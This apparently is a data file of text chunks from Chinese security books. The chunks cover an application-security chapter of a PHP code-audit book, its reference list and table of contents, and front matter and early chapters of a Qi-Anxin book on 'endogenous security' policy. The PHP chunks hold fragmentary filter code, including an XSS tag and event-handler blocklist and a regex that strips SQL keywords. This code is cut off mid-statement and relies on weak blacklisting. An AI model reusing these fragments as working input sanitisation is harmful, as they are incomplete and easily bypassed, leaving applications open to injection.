    {"text": "12.9 敏感操作多因素验证 多因素验证在很多操作中都适用，特别是敏感的操作，从业务逻辑上来说，不仅仅是后台的登录、修改配置等操作才算敏感，同样前台用户进行个人操作的时候也一样需要受到保护，阿里云在这方面做得非常好，如图12-13所示。 图 12-13 在阿里云进行诸如修改域名解析、修改服务器密码等操作时都需要验证手机短信，这样即使密码被泄露也无法进行这些敏感操作。 多因素认证从字面意思就可以理解，即添加多种验证方式，敏感操作多次验证权限，验证的方式有如下几种： 1）手机短信验证码。 2）手机语言验证码。 3）手机App动态令牌。 4）邮箱验证码。 5）实体令牌卡。 6）电子图片令牌卡。 7）硬件令牌。 验证方式层出不穷，我们在使用的时候需要根据业务的保密程度来确定使用哪种方式，因为每种方式的用户体验不同，像某银行开发的U盾使用的时候必须要用IE浏览器，然后安装各种驱动，折腾半天还要重启一下，最后发现还不一定能用，这种体验非常糟糕。"},
    {"text": "12.10 应用自身的安全中心 虽然现在基于主机WAF、云WAF随随便便都能列出一大堆，但是毕竟这些防御方案都不是定制化的，因为无法结合应用代码逻辑，所以无法很好地防御攻击和满足需求，而应用代码层的防御则可以大大利用白名单的优势，比如已经知道某个参数一定是INT类型，就可以在使用这个参数时将其转为INT类型，或者判断是否为数字，如果不是则将请求驳回，这些优势是其他层面的WAF无法取代的，因此应用自身的安全防御功能必不可少。"},
    {"text": "get_magic_quotes_gpc （）） { $_POST = new_addslashes （ $_POST ）； $_GET = new_addslashes （ $_GET ）； $_REQUEST = new_addslashes （ $_REQUEST ）； $_COOKIE = new_addslashes （ $_COOKIE ）；"},
    {"text": "} 在参数传入时会对$_GET/$_POST/$_COOKIE和$_REQUEST变量进行转义，然后在数据库操作时又会进行过滤，代码如下： /** * 安全过滤函数 * * @param $string * @return string */ function safe_replace （ $string ） { $string = str_replace （ '%20' ， '' ， $string ）；"},
    {"text": "$string = str_replace （ '%27' ， '' ， $string ）； $string = str_replace （ '%2527' ， '' ， $string ）； $string = str_replace （ '*' ， '' ， $string ）； $string = str_replace （ '\"' ， '&quot ； ' ， $string ）； $string = str_replace （ \"'\" ， '' ， $string ）； $string = str_replace （ '\"' ， '' ， $string ）； $string = str_replace （ ' ； ' ， '' ， $string ）； $string = str_replace （ '<' ， '&lt ； ' ， $string ）； $string = str_replace （ '>' ， '&gt ； ' ， $string ）； $string = str_replace （ \"{\" ， '' ， $string ）； $string = str_replace （ '}' ， '' ， $string ）； $string = str_replace （ '\\\\' ， '' ， $string ）； return $string ；"},
    {"text": "} /** * xss 过滤函数 * * @param $string * @return string */ function remove_xss （ $string ） { $string = preg_replace （ '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S' ， '' ， $string ）；"},
    {"text": "$parm1 = Array （ 'javascript' ， 'vbscript' ， 'expression' ， 'applet' ， 'meta' ， 'xml' ， 'blink' ， 'link' ， 'script' ， 'embed' ， 'object' ， 'iframe' ， 'frame' ， 'frameset' ， 'ilayer' ， 'layer' ， 'bgsound' ， 'title' ， 'base' ）； $parm2 = Array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ）； $parm = array_merge （ $parm1 ， $parm2 ）；"},
    {"text": "for （ $i = 0 ； $i < sizeof （ $parm ）； $i++ ） { $pattern = '/' ； for （ $j = 0 ； $j < strlen （ $parm[$i] ）； $j++ ） { if （ $j > 0 ） { $pattern .= ' （ ' ； $pattern .= ' （ &#[x|X]0 （ [9][a][b] ）；"},
    {"text": "== strpos （ $value ， ' （ ' ） || false ！ == strpos （ $value ， '.' ） || false ！ == strpos （ $value ， '`' ）） { // 不处理包含 * 或者使用了 SQL 方法。 } else { $value = '`'.trim （ $value ） .'`' ； } if （ preg_match （ \"/\\b （ select|insert|update|delete ） \\b/i\" ， $value ）） { $value = preg_replace （ \"/\\b （ select|insert|update|delete ） \\b/i\" ， '' ， $value ）； } return $value ；"},
    {"text": "参考资源 在学习代码审计过程中，我们需要不断接触更多的实例，所以笔者收集了一些不错的有代码审计内容的网站为大家推荐一下。 www.wooyun.org |乌云网 乌云网是目前国内最大的漏洞平台，将白帽子跟厂商联系起来，在对安全问题进行反馈处理跟进的同时，为互联网安全研究者提供一个公益、学习、交流和研究的平台，每天都有大量的开源程序漏洞在乌云网上提交，是一个非常适合漏洞挖掘学习的平台。 www.cnseay.com |Seay网络安全博客 Seay网络安全博客是笔者维护的一个个人博客，主要包括渗透测试，代码审计，软件编程，安全运维以及创业相关文章，其中最核心的内容为代码审计方面，包含大量漏洞挖掘和分析实例。 www.0day5.com |漏洞时代 漏洞时代网主要发布ASP、ASP.NET、PHP、JSP、CGI、Windows、Linux/Unix等多方面漏洞，由民间组织建立。 www.leavesongs.com |离别歌 离别歌是phithon的个人博客，博主经常在其博客发布非常有意思的代码审计漏洞研究，对于新手学习代码审计也是一个不错的去处。 高级PHP应用程序漏洞审核技术 高级PHP应用程序漏洞审核技术是一份放在google的PHP安全文档，地址为 https://code.google.com/p/pasc2at/wiki/SimplifiedChinese ，介绍的是代码审计的方法，推荐阅读。 Table of Contents 序言 前言 导读 第一部分 代码审计前的准备 第1章 代码审计环境搭建 1.1 wamp/wnmp环境搭建 1.2 lamp/lnmp环境搭建 1.3 PHP核心配置详解 第2章 审计辅助与漏洞验证工具 2.1 代码编辑器 2.2 代码审计工具 2.3 漏洞验证辅助 第二部分 漏洞发现与防范 第3章 通用代码审计思路 3.1 敏感函数回溯参数过程 3.2 通读全文代码 3.3 根据功能点定向审计 第4章 漏洞挖掘与防范（基础篇） 4.1 SQL注入漏洞 4.2 XSS漏洞 4.3 CSRF漏洞 第5章 漏洞挖掘与防范（进阶篇） 5.1 文件操作漏洞 5.2 代码执行漏洞 5.3 命令执行漏洞 第6章 漏洞挖掘与防范（深入篇） 6.1 变量覆盖漏洞 6.2 逻辑处理漏洞 6.3 会话认证漏洞 第7章 二次漏洞审计 7.1 什么是二次漏洞 7.2 二次漏洞审计技巧 7.3 dedecms二次注入漏洞分析 第8章 代码审计小技巧 8.1 钻GPC等转义的空子 8.2 神奇的字符串 8.3 php：//输入输出流 8.4 PHP代码解析标签 8.5 fuzz漏洞发现 8.6 不严谨的正则表达式 8.7 十余种MySQL报错注入 8.8 Windows FindFirstFile利用 8.9 PHP可变变量 第三部分 PHP安全编程规范 第9章 参数的安全过滤 9.1 第三方过滤函数与类 9.2 内置过滤函数 第10章 使用安全的加密算法 10.1 对称加密 10.2 非对称加密 10.3 单向加密 第11章 业务功能安全设计 11.1 验证码 11.2 用户登录 11.3 用户注册 11.4 密码找回 11.5 资料查看与修改 11.6 投票/积分/抽奖 11.7 充值支付 11.8 私信及反馈 11.9 远程地址访问 11.10 文件管理 11.11 数据库管理 11.12 命令/代码执行 11.13 文件/数据库备份 11.14 API 第12章 应用安全体系建设 12.1 用户密码安全策略 12.2 前后台用户分表 12.3 后台地址隐藏 12.4 密码加密存储方式 12.5 登录限制 12.6 API站库分离 12.7 慎用第三方服务 12.8 严格的权限控制 12.9 敏感操作多因素验证 12.10 应用自身的安全中心 参考资源"},
    {"text": "信息安全工程 Document Outline 封面 书名 版权 前言 目录 第一部分 第1章 什么是安全工程 1.1 例一：银行 1.2 例二：空军基地 1.3 例三：医院 1.4 例四：家庭 1.5 定义 1.6 小结 第2章 协议 2.1 偷听口令的风险 2.2 谁去那里？"},
    {"text": "未知 作者简介 奇安信战略咨询规划部：负责奇安信战略咨询规划业务，针对“十四五”规划、新基建与数字化转型，以系统工程方法，结合政企大型机构的业务战略与信息化战略，为政企机构梳理网络安全战略目标；并以“内生安全框架”体系规划设计方法与工具，从“技术、管理、运行”的多个视角，为政企机构进行它们所需的网络安全能力体系的梳理，从“顶层规划、体系设计、实现设计”不同层面，帮助政企机构进行规划设计、可研报告、概要设计、路线图等设计工作；以“三同步”原则，推进网络安全和信息化的“全面覆盖、深度融合”，帮助政企构建动态综合的网络安全防御体系及实战化运行体系，为政企数字化业务发展保驾护航。 奇安信行业安全研究中心（以下简称中心）：奇安信集团旗下专注于行业网络安全研究的机构，为政府、公安、军队、保密、交通、金融、医疗卫生、教育、能源等行业客户及监管机构提供专业安全分析与研究服务。 中心以奇安信集团的安全大数据、全球威胁情报大数据为基础，结合前沿网络安全技术、国内外政策法规，以及两千余起应急响应事件的处置经验，全面展开行业级、领域级、国家级网络安全研究。 中心自2016年成立以来，已累计发布各类专业研究报告100余篇，共计300余万字，在勒索病毒、信息泄露、网站安全、APT（高级持续性威胁）、应急响应、人才培养等多个领域的研究成果受到海内外网络安全从业者的高度关注。 同时，中心还联合各个专业团队，主编出版了多本网络安全图书专著，包括《走近安全：网络世界的攻与防》《透视APT：赛博空间的高级威胁》《应急响应》《网络安全应急响应技术实战指南》《工业互联网安全：百问百答》等，为网络安全知识的深度传播做出了重要贡献。 未知 章节贡献人 第1章 信息化的发展与安全的挑战 许传朝、裴智勇 第2章 内生安全的内涵与特性 李建平、裴智勇 第3章 内生安全建设的方法论基础 韩永刚、王轴可 第4章 新一代网络安全框架 杨 波、刘 洋 第5章 新一代身份安全 张泽洲、金 一 第6章 重构企业级网络纵深防御 陆明烈 第7章 数字化终端及接入环境安全 张晓兵、林晓明 第8章 面向云的数据中心安全防护 刘 浩、周 灿、林玉波 第9章 面向大数据应用的数据安全防护 刘川意、段少明、潘鹤中、向夏雨、李新鹏 第10章 面向实战化的全局态势感知体系 黄 海、马江波、尹智清 第11章 面向资产/漏洞/配置/补丁的系统安全 赵梦虎、伍星亮、佟 彤、邬 怡 第12章 工业生产网安全防护 宋 强 第13章 内部威胁防护体系 丁大鹏 第14章 密码专项 乔思远、金 一 第15章 实战化安全运行能力建设 潘 山、尹智清 第16章 安全人员能力支撑 杨东晓、冯 涛、柯善学 第17章 应用安全能力支撑 李 钠 第18章 物联网安全能力支撑 刘宇馨 第19章 业务安全能力支撑 卢维清"},
    {"text": "尤其是伴随着5G、数据中心、工业互联网等新型基础设施建设的推进，数字经济加速向纵深发展，传统基础设施亟需转型升级，这进而形成了融合基础设施，加速了物理与虚拟边界的消融，带来了全新的安全挑战。"},
    {"text": "这种“局部整改”为主的安全建设模式，导致网络安全体系化缺失、碎片化严重、协同能力差，使得网络安全防御能力与数字化业务的保障要求严重不匹配。 为了满足数字化建设的安全防护需求，政企机构必须抛弃这种“事后补救”的安全建设思路，将防护关口前移，防患于未然，通过内生安全系统的工程建设，构建全面的“事前防控”网络安全防护体系，用“实战化、体系化、常态化”的要求，实现动态防御、主动防御、纵深防御、精准防护、整体防控、联防联控。"},
    {"text": "“内生安全”通过系统聚合、数据聚合和人的聚合，内置于信息化环境中并不断自我生长出安全能力。 内生安全有“一个中心，五个滤网”，从网络、数据、应用、行为、身份这5个层面来有效实现对网络安全体系的管理，从而构建无处不在、处处结合、实战化运行的安全能力体系。 内生安全落地的关键是框架 内生安全的实施是一套复杂的系统工程，需要一个新形态的能力体系做支撑，需要用工程化、体系化的方式实施，而实施的关键就是安全框架。"},
    {"text": "在信息化系统功能越来越多、规模越来越大、与用户的交互越来越深时，单一的、堆叠的安全产品和服务（哪怕是最新最先进的）都无法保证不被黑客攻破。"},
    {"text": "过去20年，在信息化建设方面，国内外采用的是系统工程思想，通过行之有效的EA（Enterprise Architecture，企业架构）方法论与框架，引导与推动了大规模、体系化、高效整合的信息化建设，很好地支撑了各行业的业务运营。"},
    {"text": "但由于我国的网络安全基础比较薄弱，无法套用西方现成的框架进行安全体系建设，因此采用了“局部整改”为主的安全建设模式。 针对我国的国情，我们提出了“内生安全——新一代网络安全框架”，从工程实现的角度，将安全需求分步实施，逐步建成面向未来的安全体系。 这套框架从顶层视角出发，以系统工程的方法论结合内生安全的理念，支撑各行业的建设模式从“局部整改外挂式”走向“深度融合体系化”，在数字化环境内部建立无处不在的网络安全“免疫力”，真正实现内生安全。"},
    {"text": "从安全系统与信息化系统聚合的实施角度来看，如果对老系统用老办法，对新系统用新办法，则未来老系统被替代时，老的安全系统也不得不替换掉，这种割裂的处理方式将造成巨大的浪费。"},
    {"text": "在安全体系的基础上，把安全框架组件化，让这些组件既是新体系的一部分，又能部署到老系统中，从而适应信息化系统这种渐进式的、立新破旧的过程，以避免不断地把安全系统推倒重来，并确保现在安全上的投资是面向未来的。 我们用工程化的思想，把安全体系中的安全能力，映射成为可执行、可建设的网络安全能力组件，由此构成了内生安全框架。 这些组件与信息化系统进行体系化的聚合，是安全框架落地的关键。"},
    {"text": "在“内生安全——新一代网络安全框架”中，我们设计解构出了“十大工程、五大任务”，这是该框架的具体落地指导，涵盖了当前所有的主流场景以及与技术相关的信息化系统所需要的安全能力。"},
    {"text": "“内生安全——新一代网络安全框架”的意义 “内生安全——新一代网络安全框架”是从信息化的角度规划安全建设，立足解决未来10～20年的网络安全问题。 这一框架可以指导政企机构进行体系化的网络安全规划建设，从过去“局部整改为主的外挂式”建设模式走向“深度融合的体系化”建设模式，使之能够输出体系化、全局化、实战化的网络安全能力，构建出动态综合的网络安全防御体系。 “内生安全——新一代网络安全框架”催生了新的安全需求，为网络安全生态发展创造了更大的空间。 要满足新的网络安全需求，必须借助生态整合的力量，协同网络安全厂商、基础设施厂商、应用开发厂商，以及教育、科研机构、主管部门和用户，共同打造“产、学、研、用、管”一体化的网络安全产业生态。"},
    {"text": "未知 前言 经历了过去二十多年的发展，网络安全已经落后于以体系化发展的信息化，与信息化发展不匹配，不仅仅是安全能力达不到要求，还存在规模落差、成熟度落差和覆盖面落差。 这不但无法支撑数字化、智能化时代的信息化保障，同时也带来了网络安全产业发展自身的诸多问题，比如小规模、零散化、同质化。"},
    {"text": "网络安全产业要改变零散发展的模式，重要的是从信息化的角度，采用面向规划的新一代网络安全框架，构建内生安全能力，同时布局产业增长。 根据中国信息通信研究院2019年的数据，我国网络安全产业规模为608亿元，在整个数字经济产业中占比只有1.7%； 而IDC（国际数据公司）的数据显示，网络安全投入在IT整体预算中的占比仅为1.84%，不仅远低于美国的4.78%，甚至低于全球平均的3.74%。 网络安全产业规模与市场预期不平衡，与数字化转型和数字经济发展所需要的信息化保障能力不匹配，网络安全产业亟待破解规模小的困局。"},
    {"text": "回顾网络安全产业的发展历程，过去主要受事件和合规驱动，并没有相应的方法论，网络安全建设非常零散，而且多是应激式的局部建设。 网络安全建设长期存在缺规划、缺预算、缺人手、缺运营的情况，这导致其难以支撑数字化、智能化时代的信息化保障。"},
    {"text": "近年来，实战演练正在成为监督、检查和检验网络安全工作和能力水平的常态化手段。 事实证明，实战演练对于网络安全的推动效果十分明显，如何常态化对抗威胁是亟待解决的难题。"},
    {"text": "在信息化的重构和新建过程中，在云网改造、大数据系统建设，以及业务、数据和应用发生变化时，通过系统融合、数据融合、人员融合，实现网络安全能力与信息化环境的融合内生，在这个过程中可以有效地把安全方法论与IT（信息技术）对标，解决网络安全落后于信息化发展的主要问题。"},
    {"text": "所谓内生安全框架，是指奇安信基于长期政企网络安全防护实践形成的安全框架。 该框架的核心是指导政企机构体系化的网络安全规划建设，从过去局部整改为主的外挂式建设模式走向深度融合的体系化建设模式，使之能够输出体系化、全局化、实战化的网络安全能力，以内生安全理念建立数字化环境内部无处不在的“免疫力”，构建出动态综合的网络安全防御体系。"},
    {"text": "内生安全框架具有集约化和工程化的特点，更符合我国政企机构通过开展“五年规划”来集中力量办大事、解决大问题的成功做法。 内生安全框架的落地实践可以总结为：一套方法论、四个放大器、两个全景模型、贯穿项目全生命周期和两个确保。"},
    {"text": "通过采用工程化思想，规划建设内生安全框架，最终会生成两个全景模型——通过规划形成政企机构防御技术全景模型和政企机构防御运行全景模型，以此指导政企机构的网络安全防御体系的建设和运行。"},
    {"text": "与此同时，网络安全服务过程将贯穿项目全生命周期——从规划、可研、立项、招投标、集成交付到可运行，确保客户安全项目可建设、能运行。"},
    {"text": "这对于网络安全行业而言，可实现标准化、体系化、集约化生产，加快形成布局合理、分工有序、相互衔接的规模效应，从而告别此前的“小零同”（小规模、零散化、同质竞争）状况，在更宽的赛道上发展。"},
    {"text": "因为通过体系化的建设，关键信息行业与机构真正拥有的网络安全能力体系，将成为国家网络空间中有效防御的一环，保障整体的国家网络安全战略落地。"},
    {"text": "在《中共中央关于制定国民经济和社会发展第十四个五年规划和二〇三五年远景目标的建议》（以下简称《建议》）中，提出了加快数字化发展，并明确要求保障国家数据安全，加强个人信息保护； 《建议》提出了统筹发展和安全的新理念，网络安全作为国家安全能力体系的一部分，要全面加强网络安全保障体系和能力建设。 网络安全行业要抓住“十四五”规划机会，落实中央要求，面向国家大数据战略的信息化发展保障需要，依托内生安全框架进行网络安全顶层规划，指引网络安全建设从“零散”走向“全局”，彻底改变过去“头痛医头、脚痛医脚”的局部的、针对单点的建设模式，走向彻底、全面解决问题的体系化全局建设模式，全面加强网络安全保障体系和能力建设，为国家大数据战略保障护航。"},
    {"text": "● 第1部分：为什么需要内生安全 本部分通过梳理我国信息化发展历程和网络安全发展历程，结合国家网络安全战略的新要求和数字化时代安全的新挑战，解释当前的信息化为什么需要内生安全。 ● 第2部分：什么是内生安全 本部分详细阐述了内生安全的理念、特点、优势、价值，以及落地的三大关键因素，首次披露了内生安全的方法论基础，并且对新一代网络安全框架进行了全面解读。 ● 第3部分：怎样建设内生安全 本部分详细介绍了落实“内生安全——新一代网络安全框架”的十大工程、五大任务的具体内容，对每一个工程或任务的产生背景、基本概念、设计思想、总体架构、关键技术、预期成效、建设要点与方法进行了说明。 致谢 在本书的内容组织过程中，以及“内生安全——新一代网络安全框架”理论的梳理、归纳和提升中，信息化和网络安全专家王轴可贡献了大量实践经验和智慧，帮助提升了本书内容的系统性、专业性、指导性和实用性，在此特别表示感谢。"},
    {"text": "未知 资源与支持 本书由异步社区出品，社区（https://www.epubit.com/）为您提供相关资源和后续服务。 提交勘误 作者和编辑尽最大努力来确保书中内容的准确性，但难免会存在疏漏。欢迎您将发现的问题反馈给我们，帮助我们提升图书的质量。 当您发现错误时，请登录异步社区，按书名搜索，进入本书页面，单击“提交勘误”，输入勘误信息，单击“提交”按钮即可。本书的作者和编辑会对您提交的勘误进行审核，确认并接受后，您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。 扫码关注本书 扫描下方二维码，您将会在异步社区微信服务号中看到本书信息及相关的服务提示。 与我们联系 我们的联系邮箱是contact@epubit.com.cn。 如果您对本书有任何疑问或建议，请您发邮件给我们，并请在邮件标题中注明本书书名，以便我们更高效地做出反馈。 如果您有兴趣出版图书、录制教学视频，或者参与图书翻译、技术审校等工作，可以发邮件给我们；有意出版图书的作者也可以到异步社区在线投稿（直接访问www.epubit.com/ selfpublish/submission即可）。 如果您所在的学校、培训机构或企业，想批量购买本书或异步社区出版的其他图书，也可以发邮件给我们。 如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为，包括对图书全部或部分内容的非授权传播，请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护，也是我们持续为您提供有价值的内容的动力之源。 关于异步社区和异步图书 “异步社区”是人民邮电出版社旗下IT专业图书社区，致力于出版精品IT技术图书和相关学习产品，为作译者提供优质出版服务。异步社区创办于2015年8月，提供大量精品IT技术图书和电子书，以及高品质技术文章和视频课程。更多详情请访问异步社区官网https://www.epubit.com。 “异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品牌，依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团队，相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。 异步社区 微信服务号"},
    {"text": "未知 第1部分 为什么需要内生安全 第1章 信息化的发展与安全的挑战 第1章 信息化的发展与安全的挑战 2020年4月9日，《中共中央 国务院关于构建更加完善的要素市场化配置体制机制的意见》（以下简称“《意见》”）正式发布。"},
    {"text": "这可以看作是信息化发展历史上的一个里程碑，数据作为数十年信息化应用和发展的结果，已经成为经济社会发展的核心生产要素之一，这也意味着信息化作为当今时代经济社会发展核心驱动力的地位正式确立。"},
    {"text": "正是在这样的时代背景下，网络安全工作者顺应信息化建设与发展的内在需求，创造性地提出了“内生安全”这一新型网络安全建设思想。 为了深入地理解“内生安全”思想，首先就必须理解我国的信息化发展历程和网络安全发展历程，同时理解数字化时代网络安全工作的时代特征。"},
    {"text": "1.1.1 政策驱动的政务信息化发展历程 长期以来，我国在政企机构信息化方面的政策驱动属性较强，企业信息化与政务信息化紧密相关，政务信息化的发展历程在一定程度上决定了企业信息化的发展历程。 我国的政务信息化发展经历了以下4个主要的阶段。"},
    {"text": "1992年，《国务院办公厅关于建设全国政府行政首脑机关办公决策服务系统的通知》（国办发〔1992〕25号）出台，推动了政府系统办公自动化的快速发展。 ● 第二阶段：业务流程自动化阶段 1993年，国务院信息化工作领导小组拟定了《国家信息化“九五”规划和2010年远景目标（纲要）》；"},
    {"text": "1994年底，我国正式启动了国民经济信息化的起步工程——“三金工程”：金桥工程、金关工程和金卡工程。 “三金工程”是我国中央政府主导的以政府信息化为特征的系统工程，是我国政府信息化的雏形。"},
    {"text": "规划提出，坚持以信息化带动工业化，以工业化促进信息化，坚持以改革开放和科技创新为动力，大力推进信息化，充分发挥信息化在促进经济、政治、文化、社会和军事等领域发展的重要作用，不断提高国家信息化水平。"},
    {"text": "2015年，国务院印发《关于积极推进“互联网+”行动的指导意见》，“互联网+”成为我国经济社会创新发展的重要驱动力量。 “互联网+”是两化（信息化和工业化）融合的升级版，将互联网作为当前信息化发展的核心特征提取出来，并与工业、商业、金融业等服务业全面融合。 2016年，中共中央、国务院印发《国家创新驱动发展战略纲要》，强调把数字化、网络化、智能化、绿色化作为提升产业竞争力的技术基点。 之后国家相继发布了一系列政策措施，国务院印发《“十三五”国家信息化规划》，围绕建设数字中国，明确了17项发展指标，部署了10项重大任务、16项重点工程； 2017年，党的十九大报告中明确提出：要建设网络强国、数字中国、智慧社会，推动互联网、大数据、人工智能和实体经济深度融合；"},
    {"text": "在这些政策推动下，我国的信息化进入了一个数字化、智能化的新阶段，充分利用大数据、人工智能等新技术，推进决策支持的知识化，依靠数据提高生产力，这也是数据成为生产要素的先决条件。"},
    {"text": "● 2006年5月，中共中央办公厅、国务院办公厅印发《2006——2020年国家信息化发展战略》，是我国信息化发展史上第一次制定的中长期战略性发展规划。 ● 2012年6月，国务院印发《国务院关于大力推进信息化发展和切实保障信息安全的若干意见》（国发〔2012〕23号），确定了“宽带中国”工程；"},
    {"text": "● 2012年7月，国务院印发《“十二五”国家战略性新兴产业发展规划》，确定新一代信息技术产业为重点发展方向和主要任务之一。 ● 2013年8月，国务院印发《“宽带中国”战略及实施方案》，到2020年，我国宽带网络基础设施发展水平与发达国家之间的差距大幅缩小。 ● 2015年5月，国务院印发《中国制造2025》，明确指出以信息化与工业化深度融合为主线，重点发展十大领域。 ● 2015年7月，国务院印发《关于积极推进“互联网+”行动的指导意见》“互联网+”成为我国经济社会创新发展的重要驱动力量。 ● 2016年1月，国务院印发《“十三五”国家科技创新规划》，将智能制造和机器人列为“科技创新2030项目”重大工程之一。 ● 2016年5月，中共中央、国务院印发《国家创新驱动发展战略纲要》，强调把数字化、网络化、智能化、绿色化作为提升产业竞争力的技术基点。 ● 2016年7月，中共中央办公厅、国务院办公厅印发《国家信息化发展战略纲要》，强调加快建设数字中国、大力发展信息经济是信息化工作的重中之重。 ● 2016年12月，国务院印发《“十三五”国家信息化规划》，围绕建设数字中国，明确了17项发展指标，部署了10项重大任务、16项重点工程。 ● 2017年3月，“数字经济”首次被写入政府工作报告，要推动“互联网”深入发展、促进数字经济加快成长，数字经济成为国家发展战略的重要一环。 ● 2017年10月，党的十九大报告中明确提出，要建设网络强国、数字中国、智慧社会，推动互联网、大数据、人工智能和实体经济深度融合。 ● 2018年9月，国家发改委、教育部等19部门联合印发《关于发展数字经济稳定并扩大就业的指导意见》，提出以大力发展数字经济促进就业为主线，加快形成适应数字经济发展的就业政策体系。"},
    {"text": "1.1.2 政企机构信息化发展的4个阶段 在政策与信息技术发展的双重驱动之下，政企机构结合自身的发展特点，一般也会先后经历多个不同的发展阶段。 行业内普遍比较认同《企业信息技术总体规划方法》（石油工业出版社，2012年）一书中对政企机构的信息化建设阶段的划分。 该书将政企机构的信息化建设阶段由低到高分为4个阶段：分散建设阶段、统一建设阶段、集成应用阶段和共享应用阶段。"},
    {"text": "企业不同的部门按照某项业务或管理功能需求，分别或者分散建设支持该需求的信息化系统，比如财务系统、人事系统、供销系统等。 ● 统一建设阶段：也可以称为集中建设阶段，其主要特征是企业按照企业发展战略，对信息系统进行统一的、全局性的、体系化的规划建设，并对信息系统的实施、管理和运营制定相关制度。 ● 集成应用阶段：也可以称为业务支撑阶段，其主要特征是信息化开始成为企业发展战略的重要组成部分。 信息系统与业务系统深入融合，全面支撑企业业务运营和业务发展，信息系统的价值得到了企业业务部门的全面认同。 ● 共享应用阶段：也可以称为业务一体化阶段，其主要特征是信息化与业务真正实现一体化，相互依存，相互推动，信息化成为业务发展和转型升级的重要组成部分。"},
    {"text": "越来越多的政企机构，特别是许多行业领先的企业，开始采用企业架构（Enterprise Architecture）方法，简称EA方法（或EA方法论），来指导自身的信息化系统规划和建设，以体系化构建企业所需要的信息化（组织）能力。 其中国内比较知名的成功案例包括： ● 华为公司，从2002年开始以EA方法来牵引企业的IT业务需求；"},
    {"text": "超过73%的大型、超大型企业已经开始或完成构建企业架构，相当数量的大型企业已经意识到企业架构对企业业务及战略的支撑能力，并以此作为企业实现未来竞争力的关键”。"},
    {"text": "EA方法强调，要站在全局的、整体的、系统的高度，根据企业发展战略，设计信息化的总体架构体系来制定和实施信息化规划。 EA方法为企业科学、规范、全面地进行信息化规划建设提供了参考方法，对全球政企机构的信息化发展起到了巨大的推动作用，引导规划建设了大量体系化的、高效整合的业务运营体系，为企业的业务运营起到了很好的支撑作用。"},
    {"text": "1.2 网络安全的发展历程 作为信息化的基础保障，信息安全和网络安全伴随着信息化的发展而不断发展变化。 过去二十多年间，我国的信息安全和网络安全的发展，主要是由合规导向和事件驱动相互交织，在这个过程中呈现出了明显的零散化发展特征。"},
    {"text": "1994年2月18日，国务院发布了《中华人民共和国计算机信息系统安全保护条例》，该条例规定了计算机信息系统安全保护的主管机关、安全保护制度、安全监管等。 从1994年起，我国信息安全法律法规体系进入了初步建设阶段，一大批相关法律法规先后出台，包括《计算机信息网络国际联网安全保护管理办法》《金融机构计算机信息系统安全保护工作暂行规定》等。"},
    {"text": "2000年10月，十五届五中全会通过的《中共中央关于制定国民经济和社会发展第十个五年计划的建议》中明确提出“强化信息网络的安全保障体系”。 国务院专门成立了“国家信息化工作领导小组”，负责组织协调国家计算机网络与信息安全管理方面的重大问题。 同时，国家加强了信息安全基础设施的建设，成立了“国家计算机网络与信息安全管理中心”，以加强对公共信息网络中信息内容的管理，要求加强“中国信息安全测评认证中心”的建设，以便尽早建立起国家的信息安全测评认证体系。 2003年，中央办公厅、国务院办公厅颁发《国家信息化领导小组关于加强信息安全保障工作的意见》（中办发〔2003〕27号）（以下简称27号文件）。 27号文件明确指出“实行信息安全等级保护”，这也标志着我国信息安全法律体系的建设进入一个更高的阶段。 27号文件的颁发是中国信息安全工作的一个分水岭。 《计算机世界》报2005年的文章中援引信息安全业内人士的话称，“27号文件具有奠基意义：其一，这是我们国家首次对信息安全有了一个全面认识，从整体上，从顶层统筹考虑信息安全的政策、方针、规划，以统筹领导信息安全的各个部门，而在这以前工作是比较零散的； 其二，在27号文件颁发后的两年，信息安全相关工作有了大的推进，信息安全等级保护、风险评估、密码保护、网络信任体系、应急响应与灾难备份、产品管理、产业发展等基础性工作的相关政策、标准正在制定并将陆续出台”。"},
    {"text": "2004年至2006年，公安部联合四部委开展涉及65117家单位，共115319个信息系统的等级保护基础调查和等级保护试点工作，为全面开展等级保护工作奠定基础。 2004年，公安部等四部门印发了《关于信息安全等级保护工作的实施意见》。 2007年至2012年，围绕信息安全等级保护工作的管理办法和相关标准陆续发布，信息安全建设全面进入等级保护阶段。"},
    {"text": "当年CNCERT/CC（国家互联网应急中心）公布的数据显示，我国境内至少4.1万余台主机感染具有APT特征的木马程序，涉及大量政府部门、重要信息系统以及高新技术企事业单位，木马控制服务器绝大多数位于境外。"},
